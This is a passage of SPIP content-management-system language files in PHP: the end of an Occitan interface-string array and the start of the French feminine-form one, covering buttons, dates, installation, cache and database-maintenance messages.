'item_nouvelle_rubrique' => 'Rubrica nòva',
'item_oui' => 'Òc',
'item_publier_articles' => 'Publicar los articles, quina que siá sa data de publicacion',
'item_reponse_article' => 'Responsa a l’article',
'item_utiliser_moteur_recherche' => 'Utilizar lo cercador',
'item_visiteur' => 'vesitaire',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'lien_ajout_destinataire' => 'Apondre aquel destinatari',
'lien_ajouter_auteur' => 'Apondre aquel autor',
'lien_ajouter_participant' => 'Apondre un participant',
'lien_email' => 'e-mail',
'lien_nom_site' => 'NOM DEL SIT :',
'lien_retirer_auteur' => 'Levar l’autor',
'lien_retrait_particpant' => 'Levar aquel participant',
'lien_site' => 'sit',
'lien_supprimer_rubrique' => 'suprimir aquela rubrica',
'lien_tout_deplier' => 'O desplegar tot',
'lien_tout_replier' => 'Tornar plegar',
'lien_tout_supprimer' => 'Suprimir tot',
'lien_trier_nom' => 'Triar per nom',
'lien_trier_nombre_articles' => 'Triar per nombre d’articles',
'lien_trier_statut' => 'Triar per estatut',
'lien_voir_en_ligne' => 'VEIRE EN LINHA :',
'logo_article' => 'LÒGO DE L’ARTICLE', # MODIF
'logo_auteur' => 'LÒGO DE L’AUTOR', # MODIF
'logo_rubrique' => 'LÒGO DE LA RUBRICA', # MODIF
'logo_site' => 'LÒGO D’AQUEL SIT', # MODIF
'logo_standard_rubrique' => 'LÒGO ESTANDARD DE LAS RUBRICAS', # MODIF
'logo_survol' => 'LÒGO PEL SUBREVÒL', # MODIF
// M
'menu_aide_installation_choix_base' => 'Causida de vòstra basa',
'module_fichier_langue' => 'Fichièr de lenga',
'module_raccourci' => 'Acorcha',
'module_texte_affiche' => 'Tèxt afichat',
'module_texte_explicatif' => 'Podètz inserir las acorchas seguentas dins las esqueletas de vòstre sit public. Se reviraràn automaticament dins las diferentas lengas per las qualas existís un fichièr de lenga.',
'module_texte_traduction' => 'Lo fichièr de lenga «@module@» es disponible en:',
'mois_non_connu' => 'non conegut',
// O
'onglet_repartition_actuelle' => 'd’aquesta passa',
// P
'pas_de_proxy_pour' => 'Al besonh, indicatz las maquinas o domènis per qual aquel proxy se deu pas aplicar (per exemple : @exemple@)',
'plugin_etat_developpement' => 'en cors de desvolopament',
'plugin_etat_experimental' => 'experimental',
'plugin_etat_stable' => 'estable',
'plugin_etat_test' => 'a l’ensag',
'plugin_impossible_activer' => 'Impossible d’activar l’ajuston @plugin@',
'plugin_necessite_plugin' => 'Demanda l’ajuston @plugin@ en version @version@ al mens.',
'plugin_necessite_spip' => 'Demanda SPIP en version @version@ al mens.',
'plugins_liste' => 'Tièra dels ajustons',
'protocole_ldap' => 'Version del protocòl :',
// R
'repertoire_plugins' => 'Repertòri :',
// S
'statut_admin_restreint' => '(admin. restrench)', # MODIF
// T
'taille_cache_image' => 'Los imatges qu’SPIP a calculat automaticament (vinhetas dels documents, títols presentats en forma grafica, foncions matematicas en format TeX...) ocupan dins lo repertòri @dir@ un total de @taille@.',
'taille_cache_infinie' => 'Aquel sit prevei pas cap de limitacion de talha del repertòri de l’escondedor.',
'taille_cache_maxi' => 'SPIP assaja de limitar la talha del repertòri de l’escondedor d’aquel sit a <b>@octets@</b> de donadas aperaquí.',
'taille_cache_octets' => 'Ara la talha de l’escondedor compassa @octets@.', # MODIF
'taille_cache_vide' => 'L’escondedor es void.',
'taille_repertoire_cache' => 'Talha del repertòri escondedor',
'text_article_propose_publication' => 'Article prepausat per la publicacion. Esitetz pas de donar vòstre vejaire gràcias al forum estacat a aquel article (en bas de pagina).', # MODIF
'texte_acces_ldap_anonyme_1' => 'D’unes servidors LDAP accèptan pas ges d’accès anonim. En aquel cas, cal especificar un identificant d’accès inicial per poder puèi cercar d’informacions dins l’annuari. Pasmens, los camps seguents se poiràn daissar vuèges dins la màger part dels cases.',
'texte_admin_effacer_01' => 'Aquela comanda escafa <i>tot</i> lo contengut de la basa de donadas,
incluses <i>totes</i> los accèsses redactors e administrators. Un còp que l’auretz executada, auretz de tornar lançar l’installacion d’SPIP per tornar crear una basa novèla e mai un primièr accès administrator.',
'texte_adresse_annuaire_1' => '(Se vòstre annuari es installat sus la meteissa maquina qu’aquel sit web, s’agís probable de "localhost".)',
'texte_ajout_auteur' => 'L’autor seguent es estat apondut a l’article:',
'texte_annuaire_ldap_1' => 'S’accedissètz a un annuari (LDAP), lo podètz utilizar per importar automaticament d’utilizaires jos SPIP.',
'texte_article_statut' => 'Aquel article es:',
'texte_article_virtuel' => 'Article virtual',
'texte_article_virtuel_reference' => '<b>Article virtual:</b> article referenciat dins vòstre sit SPIP, mas redirigit cap a una autra URL. Per suprimir la redireccion, escafatz l’URL çai subre.',
'texte_aucun_resultat_auteur' => 'Cap de resultat per "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Aqueste sit vos pòt indicar de contunh la tièra dels redactors connectats, çò que vos permet d’escambiar de messatges en dirècte. Podètz decidir d’aparéisser pas dins aquela lista (sètz "invisible/a" pels autres utilizaires).',
'texte_auteur_messagerie_1' => 'Aquel sit permet d’escambiar de messatges e de constituir de forums de discussion privats entre los participants del sit. Podètz decidir de participar pas a aqueles escambis.',
'texte_auteurs' => 'LOS AUTORS',
'texte_choix_base_1' => 'Causissètz vòstra basa:',
'texte_choix_base_2' => 'Lo servidor SQL conten mai d’una basa de donadas.',
'texte_choix_base_3' => '<b>Causissètz</b> çai sota la que vòstre albergador vos a atribuida:',
'texte_choix_table_prefix' => 'Prefix de las taulas :',
'texte_commande_vider_tables_indexation' => 'Utilizatz aquela comanda per vojar las taulas d’indexacion utilizadas pel cercador integrat a SPIP. Aquò permetrà
de ganhar d’espaci disc.',
'texte_compresse_ou_non' => '(Aqueste se pòt comprimir o non)',
'texte_compte_element' => '@count@ element',
'texte_compte_elements' => '@count@ elements',
'texte_connexion_mysql' => 'Consultatz las informacions que vòstre albergador fornís: i devètz trobar los còdes de connexion al servidor SQL.', # MODIF
'texte_contenu_article' => '(Contengut de l’article en qualques mots.)',
'texte_contenu_articles' => 'Segon la maqueta que vòstre sit a adoptada, podètz decidir
que d’unes elements dels articles s’utilizen pas.
Utilizatz la tièra çai jos per indicar quines elements son disponibles.',
'texte_crash_base' => 'Se vòstra basa de donadas a
abocat, podètz ensajar una reparacion
automatica.',
'texte_creer_rubrique' => 'Abans de poder escriure d’articles,<br /> devètz crear una rubrica.',
'texte_date_creation_article' => 'DATA DE CREACION DE L’ARTICLE:',
'texte_date_publication_anterieure' => 'Data de redaccion anteriora:',
'texte_date_publication_anterieure_nonaffichee' => 'Afichar pas cap de data de redaccion anteriora.',
'texte_date_publication_article' => 'DATA DE PUBLICACION EN LINHA :',
'texte_descriptif_petition' => 'Descriptiu de la peticion',
'texte_descriptif_rapide' => 'Descriptiu rapid',
'texte_effacer_base' => 'Escafar la basa de donadas SPIP',
'texte_effacer_donnees_indexation' => 'Escafar las donadas d’indexacion',
'texte_en_cours_validation' => 'Se prepausa de publicar los articles e brèvas çai sota. Esitetz pas de donar lo vòstre vejaire gràcias als forums que i son estacats.', # MODIF
'texte_enrichir_mise_a_jour' => 'Podètz enriquir la compaginacion del vòstre tèxt en utilizar d’"acorchas tipograficas".',
'texte_fichier_authent' => '<b>Deu crear, SPIP, de fichièrs especials <tt>.htpasswd</tt>
e <tt>.htpasswd-admin</tt> dins lo repertòri @dossier@?</b><p>
Aqueles fichièrs vos pòdon servir per restrénher l’accès als autors
e administrators endacòm mai dins vòstre sit
(programa extèrne d’estadisticas, per exemple).<p>
Se vos servís pas, podètz daissar aquesta opcion
a sa valor predefinida (pas cap de creacion
dels fichièrs).</p>', # MODIF
'texte_informations_personnelles_1' => 'Ara lo sistèma vos crearà un accès personalizat al sit.',
'texte_informations_personnelles_2' => '(Nòta: se s’agís d’una reïnstallacion, e se vòstre accès fonciona encara, podètz', # MODIF
'texte_introductif_article' => '(Tèxt introductiu de l’article.)',
'texte_jeu_caractere' => 'S’aconselha d’emplegar, sus vòstre sit, l’alfabet universal (<tt>utf-8</tt>) :permet d’afichar totas las lengas, e pausa pas pus de problèmas de compatibilitat amb los navigators modèrnes.',
'texte_jeu_caractere_2' => 'Atencion : Aqueste reglatge convertís pas los tèxtes ja enregistrats dins la basa de donadas. ',
'texte_jeu_caractere_3' => 'Vòstre sit es per ara installat amb lo jòc de caractèrs :',
'texte_jeu_caractere_4' => 'En cas qu’aquò corresponda pas a la realitat de vòstras donadas), o <em>que comencetz a pro pena aquel sit</em> e desiretz causir un autre jòc de caractèrs, indicatz-lo aicí : ',
'texte_jeu_caractere_conversion' => 'Nòta : podètz decidir de convertir un còp per totes l’ensem dels tèxtes de vòstre sit (articles, brèvas, forums, etc.) cap a l’alfabet <tt>utf-8</tt>, en anar a <a href="@url@">la pagina de conversion vèrs l’utf-8</a>.',
'texte_lien_hypertexte' => '(Se vòstre messatge se referís a un article publicat sul web, o a una pagina fornissent mai d’informacions, volgatz indicar çai sota lo títol de la pagina e son adreiça URL.)',
'texte_login_ldap_1' => '(Daissar vuèg per un accès anonim, o picar lo camin complet, per exemple «<tt>uid=fabre, ou=usanciers, dc=mon-domeni, dc=com</tt>».)',
'texte_login_precaution' => 'Atencion! Aquò’s lo login amb lo qual sètz ara connectat/ada.
Utilizatz aqueste formulari amb precaucion...',
'texte_message_edit' => 'Atencion: aqueste messatge, cada redactor lo pòt veire, e cada administrator del sit lo pòt modificar. Utilizatz los anoncis pas que per expausar d’eveniments importants de la vida del sit.',
'texte_mise_a_niveau_base_1' => ' Venètz d’actualizar los fichièrs SPIP.
Ara cal metre a nivèl la basa de donadas
del sit.',
'texte_modifier_article' => 'Modificar l’article:',
'texte_moteur_recherche_active' => '<b>Lo cercador es activat.</b> Utilizatz aquesta commanda
se volètz tornar indexar la basa rapidament (aprèp restauracion
d’una salvagarda per exemple). Notatz que los documents modificats d’un
biais normal (a partir de l’interfàcia SPIP) se tornan indexar
automaticament: donc aquesta comanda es utila pas que d’un biais excepcional.',
'texte_moteur_recherche_non_active' => 'Lo cercador es pas activat.',
'texte_multilinguisme' => 'Se desiratz de gerir d’articles en mai d’una lenga, amb una navigacion complèxa, podètz apondre un menut per causir la lenga dels articles e/o de las rubricas, en foncion de l’organizacion de vòstre sit.', # MODIF
'texte_multilinguisme_trad' => 'Podètz tanben activar un sistèma de gestion dels ligams entre las diferentas reviradas d’un article.', # MODIF
'texte_non_compresse' => '<i>non comprimit</i> (pr’amor que vòstre servidor supòrta pas aquela foncionalitat)',
'texte_nouveau_message' => 'Messatge nòu',
'texte_nouvelle_version_spip_1' => 'Avètz installada una version novèla d’SPIP.',
'texte_nouvelle_version_spip_2' => 'Aquesta version novèla demanda una actualizacion mai completa que de costuma. Se sètz webmèstre/webmèstra del sit, volgatz escafar lo fichièr @connect@ e tornar prene l’installacion per tal d’actualizar vòstres paramètres de connexion a la basa de donadas.<p> (NB: s’avètz desmembrat vòstres paramètres de connexion, espepissatz lo fichièr @connect@ abans de lo suprimir...)</p>', # MODIF
'texte_operation_echec' => 'Tornatz a la pagina precedenta, causissètz una autra basa o creatz-ne una novèla. Verificatz las informacions que vòstre albergador a fornidas.',
'texte_plus_trois_car' => 'mai de 3 caractèrs',
'texte_plusieurs_articles' => 'Mai d’un autor trobat per "@cherche_auteur@":',
'texte_port_annuaire' => '(La valor indicada coma predefinida conven en general.)',
'texte_presente_plugin' => 'Aquela pagina lista los ajustons disponibles sus lo sit. Podètz activar los ajustons necessaris en marcar la casa correspondenta.',
'texte_proposer_publication' => 'Quora auretz acabat vòstre article,<br /> poiretz prepausar que siá publicat.',
'texte_proxy' => 'Dins d’unes cases (intranet, rets protegidas...), los sits distants (documentacion d’SPIP, sits sindicats, etc.) son pas accessibles qu’a travèrs d’un <i>proxy HTTP</i>.
En aquel cas, marcatz çai sota son adreiça, jos la forma@proxy_en_cours@. En general,
daissaretz vuèja aquela casa.',
'texte_publication_articles_post_dates' => 'Cossí SPIP se deu comportar fàcia als articles que lor
data de publicacion es fixada a una
escasença futura?',
'texte_rappel_selection_champs' => '[Oblidetz pas de seleccionar aquel camp corrèctament.]',
'texte_recalcul_page' => 'Se volètz
tornar calcular sonque una pagina, passatz puslèu per l’espaci public e utilizatz lo boton "tornar calcular".',
'texte_recapitiule_liste_documents' => 'Aquesta pagina recapitula la tièra dels documents qu’avètz plaçats dins las rubricas. Per modificar las informacions de cada document, seguissètz lo ligam cap a la pagina de sa rubrica.',
'texte_recuperer_base' => 'Reparar la basa de donadas',
'texte_reference_mais_redirige' => 'article referenciat dins vòstre sit SPIP, mas redirigit cap a una autra URL.',
'texte_requetes_echouent' => '<b>Quora d’unas requistas SQL abocan
sistematicament e sens rason aparenta, se pòt
qu’aquò venga de la quita basa de donadas. </b><p>
SQL ten la facultat de reparar sas
taulas quora un accident las
a esquintadas. Aicí podètz ensajar aquela reparacion; se
capita pas, servatz una còpia de l’afichatge, que conten
benlèu d’indicis de çò que va pas...</p><p>
Se lo problèma persistís, contactatz vòstre
albergador.</p>', # MODIF
'texte_selection_langue_principale' => 'Podètz seleccionar çai sota la "lenga principala" del sit. Aquela causida vos obliga pas -grand gaug- d’escriure vòstres articles dins la lenga seleccionada, mas permet de determinar:
<ul><li> lo format predefinit de las datas sul sit public;</li>
<li> la natura del motor tipografic que SPIP deu utilizar pel rendut dels tèxtes;</li>
<li> la lenga utilizada dins los formularis del sit public;</li>
<li> la lenga presentada coma predefinida dins l’espaci privat.</li></ul>',
'texte_sous_titre' => 'Sostítol',
'texte_statistiques_visites' => '(barras escuras: dimenge / corba escura: evolucion de la mejana)',
'texte_statut_attente_validation' => 'en espèra de validacion',
'texte_statut_publies' => 'publicats en linha',
'texte_statut_refuses' => 'refusats',
'texte_suppression_fichiers' => 'Utilizatz aquela comanda per suprimir totes los fichièrs que se tròban
dins l’escondedor SPIP. Aquò permet per exemple de forçar un calcul nòu de totas las paginas
s’avètz bravament modificat lo grafisme o l’estructura del sit.',
'texte_sur_titre' => 'Subretítol',
'texte_table_ok' => ': aquesta taula es condrecha.',
'texte_tables_indexation_vides' => 'Las taulas d’indexacion del motor son vuèjas.',
'texte_tentative_recuperation' => 'Ensag de reparacion',
'texte_tenter_reparation' => 'Ensajar de reparar la basa de donadas',
'texte_test_proxy' => 'Per ensajar aquel proxy, indicatz aicí l’adreiça d’un sit web
que lo voldriatz esprovar.',
'texte_titre_02' => 'Títol:',
'texte_titre_obligatoire' => '<b>Títol</b> [Obligatòri]',
'texte_travail_article' => '@nom_auteur_modif@ a trabalhat sus aquel article fa @date_diff@ minutas',
'texte_travail_collaboratif' => 'Quora es frequent que mai d’un redactor
trabalhe sul meteis article, lo sistèma
pòt afichar los articles recentament "dobèrts"
per tal d’evitar las modificacions simultanèas.
Aquela opcion es desactivada de manièra predefinida
per tal d’evitar d’afichar de messatges d’avertiment
intempestius.',
'texte_trop_resultats_auteurs' => 'Tròp de resultats per "@cherche_auteur@" ; volgatz afinar la cèrca.',
'texte_unpack' => 'telecargament de la darrièra version',
'texte_utilisation_moteur_syndiques' => 'Quora utilizatz lo cercador integrat
a SPIP, podètz far las cèrcas suls sits e
articles sindicats de dos biaisses
diferents. <br />- Lo mai
simple consistís a recercar sonque dins los
títols e descriptius dels articles. <br />-
Lo segond biais, plan mai potent, permet
a SPIP de cercar tanben dins lo tèxt dels
sits referenciats.
Se referenciatz un sit, alavetz SPIP farà la
cèrca dins lo tèxt del quite sit.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Aquel metòde obliga SPIP de vesitar
regularament los sits referenciats,
aquò pòt alentir un pauc lo vòstre quite
sit.',
'texte_vide' => 'vuèg',
'texte_vider_cache' => 'Vojar l’escondedor',
'titre_admin_effacer' => 'Mantenença tecnica',
'titre_admin_tech' => 'Mantenença tecnica',
'titre_admin_vider' => 'Mantenença tecnica',
'titre_cadre_afficher_article' => 'Afichar los articles',
'titre_cadre_afficher_traductions' => 'Afichar l’estat de las reviradas per las lengas seguentas:',
'titre_cadre_ajouter_auteur' => 'APONDRE UN AUTOR:',
'titre_cadre_interieur_rubrique' => 'Dintre la rubrica',
'titre_cadre_numero_auteur' => 'AUTOR NUMÈRO',
'titre_cadre_signature_obligatoire' => '<b>Signatura</b> [Obligatòria]<br />',
'titre_config_fonctions' => 'Configuracion del sit',
'titre_configuration' => 'Configuracion del sit',
'titre_connexion_ldap' => 'Opcions: <b>Vòstra connexion LDAP</b>',
'titre_groupe_mots' => 'GROP DE MOTS:',
'titre_langue_article' => 'LENGA DE L’ARTICLE', # MODIF
'titre_langue_rubrique' => 'LENGA DE LA RUBRICA', # MODIF
'titre_langue_trad_article' => 'LENGA E REVIRADAS DE L’ARTICLE',
'titre_les_articles' => 'LOS ARTICLES',
'titre_naviguer_dans_le_site' => 'Navigar pel sit...',
'titre_nouvelle_rubrique' => 'Rubrica novèla',
'titre_numero_rubrique' => 'RUBRICA NUMÈRO:',
'titre_page_admin_effacer' => 'Mantenença tecnica: escafar la basa',
'titre_page_articles_edit' => 'Modificar: @titre@',
'titre_page_articles_page' => 'Los articles',
'titre_page_articles_tous' => 'Tot lo sit',
'titre_page_auteurs' => 'Vesitaires',
'titre_page_calendrier' => 'Calendièr @nom_mois@ de @annee@',
'titre_page_config_contenu' => 'Configuracion del sit',
'titre_page_config_fonctions' => 'Configuracion del sit',
'titre_page_configuration' => 'Configuracion del sit',
'titre_page_controle_petition' => 'Seguit de las peticions',
'titre_page_delete_all' => 'supression totala e irreversibla',
'titre_page_documents_liste' => 'Los documents de las rubricas',
'titre_page_index' => 'Vòstre espaci privat',
'titre_page_message_edit' => 'Redigir un messatge',
'titre_page_messagerie' => 'Vòstra messatjariá',
'titre_page_recherche' => 'Resultats de la cèrca @recherche@',
'titre_page_statistiques_referers' => 'Estadisticas (ligams intrants)',
'titre_page_upgrade' => 'Mesa a nivèl d’SPIP',
'titre_publication_articles_post_dates' => 'Publicacion dels articles pòstdatats',
'titre_referencer_site' => 'Referenciar lo sit:',
'titre_rendez_vous' => 'RENDÈTZ-VOS:',
'titre_reparation' => 'Reparacion',
'titre_suivi_petition' => 'Seguit de las peticions',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'I a pas cap d’article que pòrte aquel numèro.',
'trad_article_traduction' => 'Totas las versions d’aquel article:',
'trad_deja_traduit' => 'Error : impossible de religar aquel article al numèro demandat.',
'trad_delier' => 'Ligar pas mai aqueste article a sas reviradas ', # MODIF
'trad_lier' => 'Aqueste article es una revirada de l’article numèro:',
'trad_new' => 'Escriure una revirada novèla d’aqueste article', # MODIF
// U
'utf8_convert_attendez' => 'Esperatz un momenton e tornatz cargar aquesta pagina.',
'utf8_convert_avertissement' => 'Sètz a mand de convertir lo contengut de vòstra basa de donadas (articles, brèvas, etc) del jòc de caractèrs <b>@orig@</b> cap al jòc de caractèrs <b>@charset@</b>.',
'utf8_convert_backup' => 'Doblidètz pas de far d’en primièr un salvament complet de vòstre sit. Vos cal tanben verificar que vòstras esqueletas e fichièrs de lenga son compatibles @charset@. ',
'utf8_convert_erreur_deja' => 'Vòtre sit es ja en @charset@, inutil de lo convertir...',
'utf8_convert_erreur_orig' => 'Error : lo jòc de caractèrs @charset@ es pas suportat.',
'utf8_convert_termine' => 'Es acabat !',
'utf8_convert_timeout' => '<b>Important :</b> en cas de <i>timeout</i> del servidor, volgatz recargar la pagina fins a çò qu’indique « acabat ».',
'utf8_convert_verifier' => 'Vos cal ara vojar l’escondedor, e verificar que tot va plansus las paginas publicas del sit. En cas de gròs problèma, un salvament de vòstras donadas s’es realizat (de format SQL) dins lo repertòri @rep@.',
'utf8_convertir_votre_site' => 'Convertir vòstre sit en utf-8',
// V
'version' => 'Version :'
);
?>
spip_fr_fem.php 0000666 00000114401 15252547432 0007564 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Français [fr]',
'0_liste' => 'spip-dev@rezo.net',
'0_mainteneur' => 'spip-dev@rezo.net',
// A
'access_interface_graphique' => 'Retour à l’interface graphique complète',
'access_mode_texte' => 'Afficher l’interface textuelle simplifiée',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Modifier cet article',
'admin_modifier_auteur' => 'Modifier cette auteure',
'admin_modifier_breve' => 'Modifier cette brève',
'admin_modifier_mot' => 'Modifier ce mot-clé',
'admin_modifier_rubrique' => 'Modifier cette rubrique',
'admin_recalculer' => 'Recalculer cette page',
'afficher_calendrier' => 'Afficher le calendrier',
'afficher_trad' => 'afficher les traductions',
'alerte_maj_impossible' => '<b>Alerte !</b> La mise à jour de la base SQL vers la version @version@ est impossible, peut-être à cause d’un problème de droit de modification sur la base de données. Veuillez contacter votre hébergeur.',
'alerte_modif_info_concourante' => 'ATTENTION : Cette information a été modifiée par ailleurs. La valeur actuelle est :',
'analyse_xml' => 'Analyse XML',
'annuler' => 'Annuler',
'antispam_champ_vide' => 'Veuillez laisser ce champ vide :',
'articles_recents' => 'Articles les plus récents',
'avis_archive_incorrect' => 'le fichier archive n’est pas un fichier SPIP',
'avis_archive_invalide' => 'le fichier archive n’est pas valide',
'avis_attention' => 'ATTENTION !',
'avis_champ_incorrect_type_objet' => 'Nom de champ incorrect @name@ pour objet de type @type@',
'avis_colonne_inexistante' => 'La colonne @col@ n’existe pas',
'avis_erreur' => 'Erreur : voir ci-dessous',
'avis_erreur_connexion' => 'Erreur de connexion',
'avis_erreur_cookie' => 'problème de cookie',
'avis_erreur_fonction_contexte' => 'Erreur de programmation. Cette fonction ne doit pas être appelée dans ce contexte.',
'avis_erreur_mysql' => 'Erreur SQL',
'avis_erreur_sauvegarde' => 'Erreur dans la sauvegarde (@type@ @id_objet@) !',
'avis_erreur_visiteur' => 'Problème d’accès à l’espace privé',
// B
'barre_a_accent_grave' => 'Insérer un A accent grave majuscule',
'barre_aide' => 'Utilisez les raccourcis typographiques pour enrichir votre mise en page',
'barre_e_accent_aigu' => 'Insérer un E accent aigu majuscule',
'barre_eo' => 'Insérer un E dans l’O',
'barre_eo_maj' => 'Insérer un E dans l’O majuscule',
'barre_euro' => 'Insérer le symbole €',
'barre_gras' => 'Mettre en {{gras}}',
'barre_guillemets' => 'Entourer de « guillemets »',
'barre_guillemets_simples' => 'Entourer de “guillemets de second niveau”',
'barre_intertitre' => 'Transformer en {{{intertitre}}}',
'barre_italic' => 'Mettre en {italique}',
'barre_lien' => 'Transformer en [lien hypertexte->http://...]',
'barre_lien_input' => 'Veuillez indiquer l’adresse de votre lien (vous pouvez indiquer une adresse Web sous la forme http://www.monsite/com ou simplement indiquer le numéro d’un article de ce site.',
'barre_note' => 'Transformer en [[Note de bas de page]]',
'barre_paragraphe' => 'Créer un paragraphe',
'barre_quote' => '<quote>Citer un message</quote>',
'bouton_changer' => 'Changer',
'bouton_chercher' => 'Chercher',
'bouton_choisir' => 'Choisir',
'bouton_deplacer' => 'Déplacer',
'bouton_download' => 'Télécharger',
'bouton_enregistrer' => 'Enregistrer',
'bouton_radio_desactiver_messagerie_interne' => 'Désactiver la messagerie interne',
'bouton_radio_envoi_annonces' => 'Envoyer les annonces éditoriales',
'bouton_radio_non_envoi_annonces' => 'Ne pas envoyer d’annonces',
'bouton_radio_non_envoi_liste_nouveautes' => 'Ne pas envoyer la liste des nouveautés',
'bouton_recharger_page' => 'recharger cette page',
'bouton_telecharger' => 'Télécharger',
'bouton_upload' => 'Téléverser',
'bouton_valider' => 'Valider',
// C
'cal_apresmidi' => 'après-midi',
'cal_jour_entier' => 'jour entier',
'cal_matin' => 'matin',
'cal_par_jour' => 'calendrier par jour',
'cal_par_mois' => 'calendrier par mois',
'cal_par_semaine' => 'calendrier par semaine',
'choix_couleur_interface' => 'couleur ',
'choix_interface' => 'choix de l’interface',
'colonne' => 'Colonne',
'confirm_changer_statut' => 'Attention, vous avez demandé à changer le statut de cet élément. Souhaitez-vous continuer ?',
'correcte' => 'correcte',
// D
'date_aujourdhui' => 'aujourd’hui',
'date_avant_jc' => 'av. J.C.',
'date_dans' => 'dans @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'demain',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ à @heure@',
'date_fmt_jour_heure_debut_fin' => 'le @jour@ de @heure_debut@ à @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => 'le @dtstart@@jour@ de @heure_debut@@dtabbr@ à @dtstart@@heure_fin@@dtend@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => 'le @nomjour@ @date@',
'date_fmt_periode' => 'Du @date_debut@ au @date_fin@',
'date_fmt_periode_abbr' => 'Du @dtart@@date_debut@@dtabbr@ au @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'Du',
'date_fmt_periode_to' => 'au',
'date_heures' => 'heures',
'date_hier' => 'hier',
'date_il_y_a' => 'il y a @delai@',
'date_jnum1' => '1er',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'dimanche',
'date_jour_1_abbr' => 'dim.',
'date_jour_1_initiale' => 'd.',
'date_jour_2' => 'lundi',
'date_jour_2_abbr' => 'lun.',
'date_jour_2_initiale' => 'l.',
'date_jour_3' => 'mardi',
'date_jour_3_abbr' => 'mar.',
'date_jour_3_initiale' => 'm.',
'date_jour_4' => 'mercredi',
'date_jour_4_abbr' => 'mer.',
'date_jour_4_initiale' => 'm.',
'date_jour_5' => 'jeudi',
'date_jour_5_abbr' => 'jeu.',
'date_jour_5_initiale' => 'j.',
'date_jour_6' => 'vendredi',
'date_jour_6_abbr' => 'ven.',
'date_jour_6_initiale' => 'v.',
'date_jour_7' => 'samedi',
'date_jour_7_abbr' => 'sam.',
'date_jour_7_initiale' => 's.',
'date_jours' => 'jours',
'date_minutes' => 'minutes',
'date_mois' => 'mois',
'date_mois_1' => 'janvier',
'date_mois_10' => 'octobre',
'date_mois_10_abbr' => 'oct.',
'date_mois_11' => 'novembre',
'date_mois_11_abbr' => 'nov.',
'date_mois_12' => 'décembre',
'date_mois_12_abbr' => 'déc.',
'date_mois_1_abbr' => 'janv.',
'date_mois_2' => 'février',
'date_mois_2_abbr' => 'févr.',
'date_mois_3' => 'mars',
'date_mois_3_abbr' => 'mars',
'date_mois_4' => 'avril',
'date_mois_4_abbr' => 'avr.',
'date_mois_5' => 'mai',
'date_mois_5_abbr' => 'mai',
'date_mois_6' => 'juin',
'date_mois_6_abbr' => 'juin',
'date_mois_7' => 'juillet',
'date_mois_7_abbr' => 'juil.',
'date_mois_8' => 'août',
'date_mois_8_abbr' => 'août',
'date_mois_9' => 'septembre',
'date_mois_9_abbr' => 'sept.',
'date_saison_1' => 'hiver',
'date_saison_2' => 'printemps',
'date_saison_3' => 'été',
'date_saison_4' => 'automne',
'date_secondes' => 'secondes',
'date_semaines' => 'semaines',
'date_un_mois' => 'mois',
'date_une_heure' => 'heure',
'date_une_minute' => 'minute',
'date_une_seconde' => 'seconde',
'date_une_semaine' => 'semaine',
'dirs_commencer' => ' afin de commencer réellement l’installation',
'dirs_preliminaire' => 'Préliminaire : <b>Régler les droits d’accès</b>',
'dirs_probleme_droits' => 'Problème de droits d’accès',
'dirs_repertoires_absents' => '<p><b>Les répertoires suivants n’ont pas été trouvés :</b></p><ul>@bad_dirs@</ul>
<p>Il est probable que cela soit dû à un problème de mauvaise mise en majuscules ou minuscules.
Vérifiez que les minuscules et majuscules de ces répertoires concordent bien avec ce qui est affiché
ci-dessus ; si ce n’est pas le cas, renommez les répertoires avec votre logiciel FTP de façon à corriger l’erreur.</p>
<p>Une fois cette manipulation effectuée, vous pourrez ',
'dirs_repertoires_suivants' => '<p><b>Les répertoires suivants ne sont pas accessibles en écriture :</b></p> <ul>@bad_dirs@</ul>
<p>Pour y remédier, utilisez votre client FTP afin de régler les droits d’accès de chacun
de ces répertoires. La procédure est expliquée en détail dans le guide d’installation.</p>
<p>Une fois cette manipulation effectuée, vous pourrez ',
'double_occurrence' => 'Double occurrence de @balise@',
